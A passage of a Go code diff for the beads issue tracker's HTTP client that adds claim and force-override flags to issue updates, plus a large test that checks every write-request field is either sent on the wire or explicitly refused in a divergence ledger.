newTestClient(t, Options{}, nil, + serveContext(contextBody("v0", "proj-1", "issues.list", "issues.get", "ready.list"))) + + err := c.Preflight(ctx(t), OpAddDependencies) + + var absent *CapabilityError + if !errors.As(err, &absent) { + t.Fatalf("err is %T, want *CapabilityError", err) + } + + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("err is %T, want errors.As to also reach *storage.ErrUnsupported", err) + } + if unsup.Op != OpAddDependencies { + t.Errorf("ErrUnsupported.Op = %q, want %q", unsup.Op, OpAddDependencies) + } + if unsup.Capability != "dependencies.add" { + t.Errorf("ErrUnsupported.Capability = %q, want %q", unsup.Capability, "dependencies.add") + } + if unsup.Backend != "http" { + t.Errorf("ErrUnsupported.Backend = %q, want %q", unsup.Backend, "http") + } + + // The precise diagnosis survives alongside the coarser one: a caller that + // DOES know this is the http backend can still tell a skew refusal apart + // from one that will never clear by retrying against a newer server. + if !errors.Is(err, ErrCapabilityAbsent) { + t.Errorf("errors.Is(err, ErrCapabilityAbsent) = false, want true") + } +} + func TestPreflightRefusesAnOperationThisClientDoesNotKnow(t *testing.T) { c, _ := newTestClient(t, Options{}, nil, serveContext(contextBody("v0", "proj-1"))) if err := c.Preflight(ctx(t), "teleportIssue"); err == nil { diff --git a/internal/httpclient/wire/paths.go b/internal/httpclient/wire/paths.go index 195c101c3..6357c526d 100644 --- a/internal/httpclient/wire/paths.go +++ b/internal/httpclient/wire/paths.go @@ -74,6 +74,7 @@ const ( PathIssuesDelete = "/v0/beads/issues:delete" PathIssuesBatchCreate = "/v0/beads/issues:batchCreate" PathIssuesBatchClose = "/v0/beads/issues:batchClose" + PathIssuesBatchGet = "/v0/beads/issues:batchGet" PathIssuesClaimNext = "/v0/beads/issues:claimNext" PathIssuesBatchApply = "/v0/beads/issues:batchApply" PathSettings = "/v0/beads/config" diff --git a/internal/httpclient/wire/writes.go b/internal/httpclient/wire/writes.go index 561cfa080..a6791100f 100644 --- a/internal/httpclient/wire/writes.go +++ b/internal/httpclient/wire/writes.go @@ -228,6 +228,46 @@ type updateBody struct { Actor string `json:"actor"` Patch map[string]any `json:"patch"` UpdateGuards + // The four UpdateFlags, each sent only when true (setItemBool's + // convention: an explicit false is the default said twice). Absent is + // what an older server that predates a member reads correctly, which is + // what lets a request that sets none of them reach a server that knows + // none of them. + Claim *bool `json:"claim,omitempty"` + ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` + ForceClosePolicy *bool `json:"force_close_policy,omitempty"` + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` +} + +// UpdateFlags are updateIssue's four top-level booleans: the claim, and the +// three force overrides. UpdateIssueRequest publishes all four +// (internal/httpapi/apigen's generated type) and none is a GUARD — none carries +// a comparison value, unlike every member UpdateGuards holds — so they travel +// as their own struct rather than joining that one. +// +// It is a struct rather than four arguments for UpdateGuards' reason: four +// positional booleans side by side are the shape a caller transposes, and a +// transposed force flag is a bypass nobody asked for. +type UpdateFlags struct { + // Claim claims the issue for the actor in the SAME transaction as the + // patch (upstream #6890): `bd update --claim`, served by the same + // role. With it set the patch may be empty — the claim is then the whole + // write. A server that predates the member refuses it as an unknown + // parameter before any database work, which is what makes that refusal + // safe for a caller to read as skew. + Claim bool + // ForceAssigneeTransfer bypasses ONLY the anti-steal fence on a genuine + // transfer away from a live foreign in-progress owner. The server + // requires patch.assignee beside it. + ForceAssigneeTransfer bool + // ForceClosePolicy bypasses ONLY close policy — the open-children and + // live-blocker refusals — on a patch.status crossing into the done + // category. + ForceClosePolicy bool + // ForceNotesOverwrite bypasses ONLY the refusal on a patch.notes that would + // replace existing non-empty notes with different non-empty content. The + // server requires patch.notes beside it. + ForceNotesOverwrite bool } // UpdateIssue patches one issue. It is the only PATCH on this surface: the @@ -237,13 +277,21 @@ type updateBody struct { // The guards ride BESIDE the patch, at the body's top level, which is where the // server reads them: one smuggled into the patch document would be an unknown // member of `patch` and a 400. -func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards UpdateGuards) (*apigen.UpdateIssueResponse, error) { +// +// The flags ride the same way, each sent only when true (see updateBody). +func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards UpdateGuards, flags UpdateFlags) (*apigen.UpdateIssueResponse, error) { path, err := IssuePath(id) if err != nil { return nil, err } var out apigen.UpdateIssueResponse - body := updateBody{Actor: actor, Patch: patch, UpdateGuards: guards} + body := updateBody{ + Actor: actor, Patch: patch, UpdateGuards: guards, + Claim: trueOrAbsent(flags.Claim), + ForceAssigneeTransfer: trueOrAbsent(flags.ForceAssigneeTransfer), + ForceClosePolicy: trueOrAbsent(flags.ForceClosePolicy), + ForceNotesOverwrite: trueOrAbsent(flags.ForceNotesOverwrite), + } r := Request{Op: OpUpdateIssue, Method: http.MethodPatch, Path: path, Body: body, IssueID: id} if err := c.dispatch(ctx, r, &out); err != nil { return nil, err @@ -251,6 +299,16 @@ func (c *Client) UpdateIssue(ctx context.Context, id, actor string, patch map[st return &out, nil } +// trueOrAbsent spells an optional wire boolean: a pointer to true when set, +// nil — an omitted member — otherwise. +func trueOrAbsent(set bool) *bool { + if !set { + return nil + } + v := true + return &v +} + // CompareAndSetMetadata swaps one metadata key of one issue if and only if it // currently holds the request's `expected`, and reports what it found either // way. @@ -396,6 +454,11 @@ type ApplyUpdateItem struct { ExpectedAssignee *string `json:"expected_assignee,omitempty"` ForceClosePolicy *bool `json:"force_close_policy,omitempty"` ForceAssigneeTransfer *bool `json:"force_assignee_transfer,omitempty"` + // ForceNotesOverwrite is the same trio's third member (S3 reconciliation, + // 2026-10): apigen.ApplyUpdateItem publishes + // force_notes_overwrite exactly as it publishes the other two, and it is + // sent only when true, the same as them. + ForceNotesOverwrite *bool `json:"force_notes_overwrite,omitempty"` } // ApplyItem is one item of a plan: a `kind` and exactly one payload naming it. diff --git a/internal/httpclient/wire/writes_twospeed_test.go b/internal/httpclient/wire/writes_twospeed_test.go index da2799032..9af579526 100644 --- a/internal/httpclient/wire/writes_twospeed_test.go +++ b/internal/httpclient/wire/writes_twospeed_test.go @@ -82,7 +82,7 @@ func writeOps() []writeOp { return err }}, {OpUpdateIssue, func(ctx context.Context, c *Client) error { - _, err := c.UpdateIssue(ctx, "bd-1", "w", map[string]any{"title": "t"}, UpdateGuards{}) + _, err := c.UpdateIssue(ctx, "bd-1", "w", map[string]any{"title": "t"}, UpdateGuards{}, UpdateFlags{}) return err }}, {OpCreateIssue, func(ctx context.Context, c *Client) error { diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go new file mode 100644 index 000000000..cac9105ad --- /dev/null +++ b/internal/httpclient/write_ledger_test.go @@ -0,0 +1,1092 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/write_ledger_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "fmt" + "reflect" + "sort" + "strings" + "testing" + "unicode" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// The WRITE door's refuse-not-drop completeness guard — the counterpart of the +// encoder bijection the read door already has (encode/bijection_test.go). +// +// The read gate cannot cover this half and says so: its rows are query +// parameters, and it explicitly exempts "rows about the WRITE shapes" because +// "this package encodes no request bodies". That exemption left the write side +// with a promise and no check. D8's refuse-not-drop enumeration — "every +// role-request field the wire has no member for" — was a list somebody wrote +// down, so a member added to issueops tomorrow would be silently DROPPED by +// every write role in this package, which is the one failure class no +// server-side gate can observe: the server rejects only what it receives. +// +// The gate runs three ways, and each catches a different staleness: +// +// source -> wire every populatable field of every write shape either +// names a member of the wire body that carries it, is +// routed some other way, or has a divergence-ledger row +// refusing it. There is no fourth arm. +// wire -> source every member the wire body publishes is driven by a +// field. A member nobody drives is a write this client +// cannot make and has not admitted to. +// ledger -> source every write-shape ledger row still names a field this +// table treats as excluded. A row for a field that +// started serving is a leftover that would make an audit +// of "is this refusal real?" unanswerable. +// +// It lives in this package rather than beside the ledger because the ledger's +// package deliberately does not import apigen or the role bodies, and because +// the encoded patch document — which is not a struct at all — can only be +// driven from here. + +// carriage says how one field of a role request reaches the server. +// +// Exactly one of member and routed is set. A field that is in neither state is +// not in this table at all, and that is the statement "the wire has no place for +// it" — which is what obliges a ledger row. +type carriage struct { + // member is the JSON member of the wire body that carries the field. + member string + // spread is the members a field that FLATTENS carries, in place of member. + // + // createIssue is the whole population and the shape is the reason: it + // publishes the create vocabulary at the top LEVEL of one flat body, so + // CreateRequest.Issue — a whole types.Issue — drives twenty members of it + // rather than one. batchCreateIssues has the same flattening and does not + // need this, because its item is a nested body with a shape row of its own; + // a create has no nesting to hang one on. + // + // It is not a way to leave the population unchecked. Every name here must + // be published, a member absent from every field's spread is still + // unreachable, and the per-member completeness against types.Issue is a + // different question held by a different gate — the reflective sweep the + // partial row below cites. + spread []string + // routed names the non-body route, with the reason. The id that becomes a + // path segment is the whole population today. + routed string + // partial cites the ledger row for the SHAPE of this field the member + // cannot carry, on a field that is carried in one shape and refused in + // another. Labels are one: the member is a whole-set replace, so an + // incremental add or remove has no expression. CreateRequest.Issue is the + // other, and its excluded shape is a set of MEMBERS rather than a mode. + partial string +} + +func member(name string) carriage { return carriage{member: name} } + +func spread(names ...string) carriage { return carriage{spread: names} } + +// members lists every wire member a carriage drives, whichever way it drives +// them, so the two directions of the gate read one accessor. +func (c carriage) members() []string { + if c.member != "" { + return []string{c.member} + } + return c.spread +} + +// writeShape is one role-request shape and the wire body that carries it. +type writeShape struct { + name string + source reflect.Type + body reflect.Type + // carried is the classification. A populatable field absent from it must + // have a KindRefuse ledger row naming source.field. + carried map[string]carriage + // pending maps a wire member this client does not send YET to the field it + // would drive. It is the fourth state the wire -> source arm needs, and it + // arrived from upstream rather than from a decision here: a member the + // document did not publish when the refusal was written, and does now. + // + // It is NOT a way to leave a member unaccounted for. The field it names + // must still carry a KindRefuse row — so the refusal is ledgered, pinned + // and auditable exactly as before — and the row's reason has to say the + // wire publishes the member, because the alternative is a ledger that + // argues from a document that has moved on. + // + // A member reaches this map only by upstream publishing it under an + // existing refusal. Teaching the client to send one is a FLIP: the entry + // moves to carried, the ledger row retires, and the pin that asserts the + // refusal becomes a pin that asserts the round trip. + pending map[string]string +} + +const pathRoute = "the {id} path segment; a body member for it would be a second, contradictable spelling of the resource" + +// writeShapes enumerates every request body this client puts on the wire. +// +// The list is checked for completeness against WriteWire itself +// (TestEveryWriteWireBodyIsClassified), so an operation added to the transport +// seam cannot arrive here unclassified. +func writeShapes() []writeShape { + return []writeShape{ + { + name: "claimIssue", + source: reflect.TypeOf(issueops.ClaimRequest{}), + body: reflect.TypeOf(apigen.ClaimRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + }, + }, + { + // The whole vocabulary of a single create, FLAT: this operation + // publishes the issue's own members at the top level of its request + // rather than nesting them, which is what the Issue spread below is + // about. + name: "createIssue", + source: reflect.TypeOf(issueops.CreateRequest{}), + body: reflect.TypeOf(apigen.CreateIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Issue": { + spread: []string{ + "id", "title", "description", "design", "acceptance_criteria", + "notes", "status", "priority", "issue_type", "assignee", "owner", + "estimated_minutes", "external_ref", "due_at", "defer_until", + "sender", "metadata", "labels", "ephemeral", "no_history", + }, + // The members of a types.Issue this vocabulary does NOT + // spell — the creation stamp, the workflow and + // classification plumbing — refuse per member. + partial: "W-CreateRequest.Issue", + }, + "ParentID": member("parent_id"), + "InheritLabelsFromParent": member("inherit_labels_from_parent"), + "Dependencies": member("dependencies"), + "WaitsFor": member("waits_for"), + "ForceIDPrefix": member("force_id_prefix"), + }, + }, + { + name: "closeIssue", + source: reflect.TypeOf(issueops.CloseRequest{}), + body: reflect.TypeOf(apigen.CloseIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Reason": member("reason"), + "Session": member("session"), + "Force": member("force"), + // The wire wave published closeIssue's row-version guard + // (#5506) and the client wave sends it (ga-jbuyf), so it left + // the pending set for this one. + "ExpectedVersion": member("expected_version"), + }, + }, + { + // The claim's inverse, and a TOTAL mapping: four request members, + // three body members and the path. Nothing refuses on shape, so + // there is no partial row and no W- entry — the same clean sheet + // compareAndSetMetadata has, reached for the opposite reason (that + // request is wide and fully published; this one is narrow). + name: "releaseIssue", + source: reflect.TypeOf(issueops.ReleaseRequest{}), + body: reflect.TypeOf(apigen.ReleaseIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + // The compare-and-set on the HOLDER. It is a pointer on both + // sides and for one reason: absent selects the unconditional + // path and empty is a refusal, so a request cannot spell "do + // not check" any other way. + "ExpectedAssignee": member("expected_assignee"), + "Force": member("force"), + }, + }, + { + // The narrowest body on the surface, and the only one whose ANCHOR + // is a path segment of a SUB-RESOURCE rather than of the resource + // itself. `author` is not `actor` and the gate reads it as its own + // member: the value is stored on the row and read back by everyone + // who sees the thread, where an actor is who a mutation is + // attributed to. + name: "addComment", + source: reflect.TypeOf(issueops.AddCommentRequest{}), + body: reflect.TypeOf(apigen.AddCommentRequest{}), + carried: map[string]carriage{ + "Author": member("author"), + "IssueID": {routed: pathRoute}, + "Text": member("text"), + }, + }, + { + name: "reopenIssue", + source: reflect.TypeOf(issueops.ReopenRequest{}), + body: reflect.TypeOf(apigen.ReopenIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Reason": member("reason"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + name: "updateIssue", + source: reflect.TypeOf(issueops.UpdateRequest{}), + body: reflect.TypeOf(apigen.UpdateIssueRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Patch": member("patch"), + // The guard trio of upstream #5484, now sent. They ride at the + // body's top level rather than inside the patch document, which + // is where the server reads them. + "ExpectedVersion": member("expected_version"), + "ExpectedStatus": member("expected_status"), + "ExpectedAssignee": member("expected_assignee"), + // The third member of the FORCE trio, now sent (S3 + // reconciliation, 2026-10): the single-patch + // updateIssue body carries `force_notes_overwrite` exactly as + // issues:batchApply's update item already did, so the fence a + // caller means to bypass is bypassable here too. + // W-UpdateRequest.ForceNotesOverwrite is RETIRED, not deleted — + // it records that this member was found unwired and then wired. + "ForceNotesOverwrite": member("force_notes_overwrite"), + // The other two FORCE members, and the claim, followed it (the + // #7247 review port): each was published — the force pair by + // upstream #5484, `claim` by upstream #6890 — and refused only + // by this client. Their rows are RETIRED the same way. A claim + // ALONE against a server that predates `claim` still reaches + // claimIssue instead, as a fallback on that server's skew + // refusal (see claimOnlyUpdate); against a current one it is + // this body. + "ForceAssigneeTransfer": member("force_assignee_transfer"), + "ForceClosePolicy": member("force_close_policy"), + "Claim": member("claim"), + }, + }, + { + // The nested document. Its members are the wire's allowlist, and + // TestTheEncodedPatchDocumentUsesOnlyPublishedMembers drives the + // encoder against it — a struct comparison alone would not, since + // the client builds this one as a map. + name: "updateIssue/patch", + source: reflect.TypeOf(issueops.IssuePatch{}), + body: reflect.TypeOf(apigen.IssuePatchBody{}), + carried: map[string]carriage{ + "Title": member("title"), + "Description": member("description"), + "Design": member("design"), + "AcceptanceCriteria": member("acceptance_criteria"), + "Notes": member("notes"), + "AppendNotes": member("append_notes"), + "Priority": member("priority"), + "IssueType": member("issue_type"), + "EstimatedMinutes": member("estimated_minutes"), + "ExternalRef": member("external_ref"), + "DueAt": member("due_at"), + "DeferUntil": member("defer_until"), + // THE ORDERED EDIT, whole: one field driving three members, which + // is what `spread` is for. `labels` replaces, `add_labels` adds + // and `remove_labels` removes, applied in that order so removal + // wins — the role's own algebra, and the same three the batchApply + // shape has carried since client wave ga-mijra. + "Labels": spread("labels", "add_labels", "remove_labels"), + // The patch half of upstream #5484, carried by client wave + // ga-7i6by. They left the pending set below with their W- rows. + "Status": member("status"), + "Assignee": member("assignee"), + "ParentID": member("parent_id"), + "Metadata": member("metadata"), + }, + // NOTHING IS PENDING, and the set is empty rather than absent for the + // reason the second list in accessors.go was: it held the two + // incremental-label members #5510 published under an existing refusal, + // and client wave ga-jpywb moved both into `carried` — which is what + // the map documents a flip as. The next member upstream publishes + // under a live W- row starts it again. + }, + { + // The nested metadata document, and the reason it is a shape of its + // own rather than a line in its parent: `metadata` is ONE member up + // there, and the four arms of the algebra under it are four fields + // of a role type that can grow. Classifying them here is what makes + // a fifth arm added to MetadataPatch fail closed instead of being + // dropped by an encoder that never learned about it. + // + // It is TOTAL in both directions. What diverges is not a member: it + // is the replace-plus-incremental contradiction, which both sides + // refuse as a validation failure writing nothing, so there is no + // row to carry. + name: "updateIssue/patch/metadata", + source: reflect.TypeOf(issueops.MetadataPatch{}), + body: reflect.TypeOf(apigen.ApplyMetadataPatch{}), + carried: map[string]carriage{ + "Replace": member("replace"), + "Merge": member("merge"), + "Set": member("set"), + "Unset": member("unset"), + }, + }, + { + // TOTAL in both directions, and the one write on this surface whose + // refusal is a 200: a lost race is `swapped: false` with the value + // that refused it, so nothing about the verdict is a request member + // and no W- row names one. + name: "compareAndSetMetadata", + source: reflect.TypeOf(issueops.CompareAndSetKeyRequest{}), + body: reflect.TypeOf(apigen.CompareAndSetMetadataRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": {routed: pathRoute}, + "Key": member("key"), + "Expected": member("expected"), + "Value": member("value"), + }, + }, + { + name: "addDependencies", + source: reflect.TypeOf(issueops.AddDependenciesRequest{}), + body: reflect.TypeOf(apigen.AddDependenciesRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Edges": member("edges"), + }, + }, + { + name: "addDependencies/edge", + source: reflect.TypeOf(issueops.DependencyEdge{}), + body: reflect.TypeOf(apigen.DependencyEdge{}), + carried: map[string]carriage{ + "IssueID": member("issue_id"), + "DependsOnID": member("depends_on_id"), + "Type": member("type"), + }, + }, + { + name: "removeDependency", + source: reflect.TypeOf(issueops.RemoveDependencyRequest{}), + body: reflect.TypeOf(apigen.RemoveDependencyRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IssueID": member("issue_id"), + "DependsOnID": member("depends_on_id"), + }, + }, + { + // NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest has + // no member for ProtectLiveDependents or Limit, so both are absent + // from carried below and the source -> wire arm obliges the two + // W-SweepRequest rows (W-SweepRequest.ProtectLiveDependents, + // W-SweepRequest.Limit) rather than a member. + name: "sweepIssues", + source: reflect.TypeOf(issueops.SweepRequest{}), + body: reflect.TypeOf(apigen.SweepRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Tier": member("tier"), + "ClosedBefore": member("closed_before"), + "IDPattern": member("pattern"), + "ProtectReferenced": member("protect_referenced"), + "DryRun": member("dry_run"), + }, + }, + { + // Total too. What diverges on the delete is its REFUSAL vocabulary + // (L-delete-notfound, L-delete-dependents), which is a response + // shape rather than a request member and so is not this gate's. + name: "deleteIssues", + source: reflect.TypeOf(issueops.DeleteRequest{}), + body: reflect.TypeOf(apigen.DeleteIssuesRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "IDs": member("ids"), + "Cascade": member("cascade"), + "Force": member("force"), + "DryRun": member("dry_run"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + name: "batchCreateIssues", + source: reflect.TypeOf(issueops.CreateBatchRequest{}), + body: reflect.TypeOf(apigen.BatchCreateRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + }, + }, + { + // The item's ISSUE half is not classified here, and cannot be: it + // is a whole types.Issue flattened onto eight members of this same + // body, so a shape row would claim one member for a field that + // spreads across eight. TestBatchCreateRefusesEveryMemberTheWireExcludes + // owns that population instead, reflectively and exhaustively. + name: "batchCreateIssues/dependency", + source: reflect.TypeOf(issueops.CreateDependency{}), + body: reflect.TypeOf(apigen.BatchCreateDependency{}), + carried: map[string]carriage{ + "TargetID": member("target_id"), + "Type": member("type"), + }, + }, + { + // ClaimNext has no wire member at all: OSS's apigen.BatchCloseRequest + // publishes actor, items, session and force only, with no composed + // claim_next object for a *ReadyRequest to encode into. It is absent + // from carried below, so the wire->source arm obliges a KindRefuse + // ledger row naming CloseBatchRequest.ClaimNext + // (W-CloseBatchRequest.ClaimNext) rather than a member. + name: "batchCloseIssues", + source: reflect.TypeOf(issueops.CloseBatchRequest{}), + body: reflect.TypeOf(apigen.BatchCloseRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + "Session": member("session"), + "Force": member("force"), + }, + }, + { + name: "batchCloseIssues/item", + source: reflect.TypeOf(issueops.BatchCloseItem{}), + body: reflect.TypeOf(apigen.BatchCloseItem{}), + carried: map[string]carriage{ + "IssueID": member("id"), + "Reason": member("reason"), + }, + }, + { + // The plan. TOTAL in both directions: every member of the role's + // request has a wire member, which is unusual on this surface and + // is the operation rather than luck — the document was written from + // the role. + name: "applyBatch", + source: reflect.TypeOf(issueops.ApplyBatchRequest{}), + body: reflect.TypeOf(apigen.ApplyBatchRequest{}), + carried: map[string]carriage{ + "Actor": member("actor"), + "Items": member("items"), + "Provenance": member("provenance"), + "ForceIDPrefix": member("force_id_prefix"), + "SkipPerEdgeCycleCheck": member("skip_per_edge_cycle_check"), + }, + }, + { + // The tagged item. Kind drives the tag; the four payloads drive the + // four optional members, and the AGREEMENT between them is what no + // schema can state and the role checks by hand — see + // TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell. + name: "applyBatch/item", + source: reflect.TypeOf(issueops.ApplyItem{}), + body: reflect.TypeOf(apigen.ApplyItem{}), + carried: map[string]carriage{ + "Kind": member("kind"), + "Create": member("create"), + "Update": member("update"), + "Close": member("close"), + "DepAdd": member("dep_add"), + }, + }, + { + // The create item, whose Issue SPREADS over the wire's twenty for + // createIssue's reason: this payload publishes the create + // vocabulary at its own top level rather than nesting it. The + // per-member completeness against types.Issue is the reflective + // sweep the partial row cites, shared with the single create. + name: "applyBatch/item/create", + source: reflect.TypeOf(issueops.CreateItem{}), + body: reflect.TypeOf(apigen.ApplyCreateItem{}), + carried: map[string]carriage{ + "Key": member("key"), + "Issue": { + spread: []string{ + "id", "title", "description", "design", "acceptance_criteria", "notes", + "status", "priority", "issue_type", "assignee", "owner", "estimated_minutes", + "external_ref", "due_at", "defer_until", "sender", "metadata", "labels", + "ephemeral", "no_history", + }, + partial: "W-CreateItem.Issue", + }, + "MetadataRefs": member("metadata_refs"), + }, + }, + { + // The update item. It carries every FORCE member updateIssue does: + // this operation publishes them per item, so a plan can express + // what a single patch over this wire can. + name: "applyBatch/item/update", + source: reflect.TypeOf(issueops.UpdateItem{}), + body: reflect.TypeOf(apigen.ApplyUpdateItem{}), + carried: map[string]carriage{ + "Target": member("target"), + "Patch": member("patch"), + "ExpectedVersion": member("expected_version"), + "ExpectedStatus": member("expected_status"), + "ExpectedAssignee": member("expected_assignee"), + "ForceClosePolicy": member("force_close_policy"), + "ForceAssigneeTransfer": member("force_assignee_transfer"), + // All three force flags are published here (S3 reconciliation, + // 2026-10 — batchapplier.go now sends it + // exactly as it sends the other two). + "ForceNotesOverwrite": member("force_notes_overwrite"), + }, + }, + { + // The update item's patch DOCUMENT, and the second shape in this + // table sourced from issueops.IssuePatch. The two allowlists differ + // in both directions — owner is published here and not there, + // parent_id there and not here — which is why the gate below reads + // every shape over a source rather than one. + name: "applyBatch/update/patch", + source: reflect.TypeOf(issueops.IssuePatch{}), + body: reflect.TypeOf(apigen.ApplyPatchBody{}), + carried: map[string]carriage{ + "Title": member("title"), + "Description": member("description"), + "Design": member("design"), + "AcceptanceCriteria": member("acceptance_criteria"), + "Notes": member("notes"), + "AppendNotes": member("append_notes"), + "Priority": member("priority"), + "IssueType": member("issue_type"), + "Status": member("status"), + "Assignee": member("assignee"), + "Owner": member("owner"), + "EstimatedMinutes": member("estimated_minutes"), + "ExternalRef": member("external_ref"), + "DueAt": member("due_at"), + "DeferUntil": member("defer_until"), + // The full ordered edit rather than updateIssue's replace-only + // member, so there is no partial row here: a removal IS + // expressible on this document. + "Labels": member("labels"), + "Metadata": member("metadata"), + }, + }, + { + // The label edit, a shape of its own for the reason the metadata + // patch is one: `labels` is ONE member up there, and the three arms + // under it are three fields of a role type that can grow. It is + // total in both directions. + name: "applyBatch/update/patch/labels", + source: reflect.TypeOf(issueops.LabelPatch{}), + body: reflect.TypeOf(apigen.ApplyLabelPatch{}), + carried: map[string]carriage{ + "Replace": member("replace"), + "Add": member("add"), + "Remove": member("remove"), + }, + }, + { + // The close item. TOTAL, including the row-version guard, and + // deliberately without an expected_status on either side. + name: "applyBatch/item/close", + source: reflect.TypeOf(issueops.CloseItem{}), + body: reflect.TypeOf(apigen.ApplyCloseItem{}), + carried: map[string]carriage{ + "Target": member("target"), + "Reason": member("reason"), + "Session": member("session"), + "Force": member("force"), + "ExpectedVersion": member("expected_version"), + }, + }, + { + // The edge item. The gate normalization a waits-for edge gets is + // the ROLE's and travels inside the blob. HasSpawner and ThreadID + // have no wire member, so they are absent from carried below and + // refuse under W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. + name: "applyBatch/item/dep_add", + source: reflect.TypeOf(issueops.DepAddItem{}), + body: reflect.TypeOf(apigen.ApplyDepAddItem{}), + carried: map[string]carriage{ + "Source": member("source"), + "Target": member("target"), + "Type": member("type"), + "Metadata": member("metadata"), + }, + }, + { + // The ref. TOTAL — and the EXACTLY-ONE rule the schema cannot state + // is behavior rather than a member, refused client-side before the + // dial. + name: "applyBatch/ref", + source: reflect.TypeOf(issueops.Ref{}), + body: reflect.TypeOf(apigen.Ref{}), + carried: map[string]carriage{ + "Key": member("key"), + "ID": member("id"), + }, + }, + } +} + +// TestEveryWireExcludedWriteMemberCarriesALedgerRow is the source -> wire +// direction: the one that fails when a field is added to issueops and this +// client starts dropping it. +func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { + shapes := writeShapes() + if len(shapes) == 0 { + t.Fatal("no write shapes are classified; there is nothing for this gate to check") + } + + rows := ledgerRowsByField(t) + for _, shape := range shapes { + t.Run(shape.name, func(t *testing.T) { + members := bodyMembers(t, shape.body) + + for name, how := range shape.carried { + if _, ok := shape.source.FieldByName(name); !ok { + t.Errorf("%s classifies %s.%s, which does not exist — the field was renamed or removed", + shape.name, shape.source.Name(), name) + continue + } + ways := 0 + for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != ""} { + if set { + ways++ + } + } + switch { + case ways > 1: + t.Errorf("%s.%s claims more than one of a body member, a spread and a route; it has exactly one", shape.source.Name(), name) + case ways == 0: + t.Errorf("%s.%s is in the carried table with neither a member nor a route", shape.source.Name(), name) + default: + for _, wireMember := range how.members() { + if !members[wireMember] { + t.Errorf("%s.%s claims wire member %q, which %s does not publish: %v", + shape.source.Name(), name, wireMember, shape.body.Name(), sortedKeys(members)) + } + } + } + if how.partial != "" { + checkRefusalRow(t, rows, shape.source, name, how.partial) + } + } + + for _, name := range populatableFields(shape.source) { + if _, ok := shape.carried[name]; ok { + continue + } + row, ok := rows[fieldKey{shape.source, name}] + if !ok { + t.Errorf("%s.%s reaches no wire member and has no divergence-ledger row.\n"+ + "Carry it in the %s table, or refuse it with a W- row — a write member this client drops is an edit "+ + "the caller believes landed. See the refuse-not-drop rows and L12 in the in-repo divergence ledger, "+ + "engdocs/design/http-divergence-ledger.md.", + shape.source.Name(), name, shape.name) + continue + } + if row.Kind != encode.KindRefuse { + t.Errorf("%s: ledger row %s is %q; a wire-excluded write member must REFUSE, never degrade", + shape.name, row.ID, row.Kind) + } + } + }) + } +} + +// TestEveryWireBodyMemberIsDrivenByARequestField is the wire -> source +// direction. A member the document publishes that no field drives is a write +// this client cannot make, and the ledger has no row for it because nothing +// refused anything — it is simply unreachable. +func TestEveryWireBodyMemberIsDrivenByARequestField(t *testing.T) { + for _, shape := range writeShapes() { + t.Run(shape.name, func(t *testing.T) { + driven := map[string]string{} + for name, how := range shape.carried { + for _, wireMember := range how.members() { + if other, dup := driven[wireMember]; dup { + t.Errorf("%s and %s both drive wire member %q", other, name, wireMember) + } + driven[wireMember] = name + } + } + rows := ledgerRowsByField(t) + for wireMember := range bodyMembers(t, shape.body) { + if driven[wireMember] != "" { + continue + } + field, deferred := shape.pending[wireMember] + if !deferred { + t.Errorf("%s publishes %q and no field of %s drives it; that member is unreachable from this client.\n"+ + "Carry it in the %s table, or — if the wire only just published it under an existing refusal — name the refused field in that table's pending set", + shape.body.Name(), wireMember, shape.source.Name(), shape.name) + continue + } + // A pending member is only accounted for while its field is + // still refused. The day the field starts serving without the + // member being carried, this fails rather than going quiet. + checkRefusalRowExists(t, rows, shape.source, field, wireMember) + } + for wireMember, field := range shape.pending { + if driven[wireMember] != "" { + t.Errorf("%s.%s is both carried and pending on %q; a member is one or the other", + shape.source.Name(), field, wireMember) + } + if !bodyMembers(t, shape.body)[wireMember] { + t.Errorf("%s names pending member %q, which %s does not publish; the entry outlived the member", + shape.name, wireMember, shape.body.Name()) + } + } + }) + } +} + +// checkRefusalRowExists is checkRefusalRow without a caller-supplied row id: +// the pending set names a FIELD, and what has to hold is that the ledger still +// refuses it under some row. +func checkRefusalRowExists(t *testing.T, rows map[fieldKey]encode.Row, owner reflect.Type, field, wireMember string) { + t.Helper() + row, ok := rows[fieldKey{owner, field}] + if !ok { + t.Errorf("wire member %q is pending on %s.%s, which carries no divergence-ledger row; a member nobody sends and nobody refused is unaccounted for", + wireMember, owner.Name(), field) + return + } + if row.Kind != encode.KindRefuse { + t.Errorf("wire member %q is pending on %s.%s, whose ledger row %s is %q; a member this client does not send must REFUSE the field, never degrade it", + wireMember, 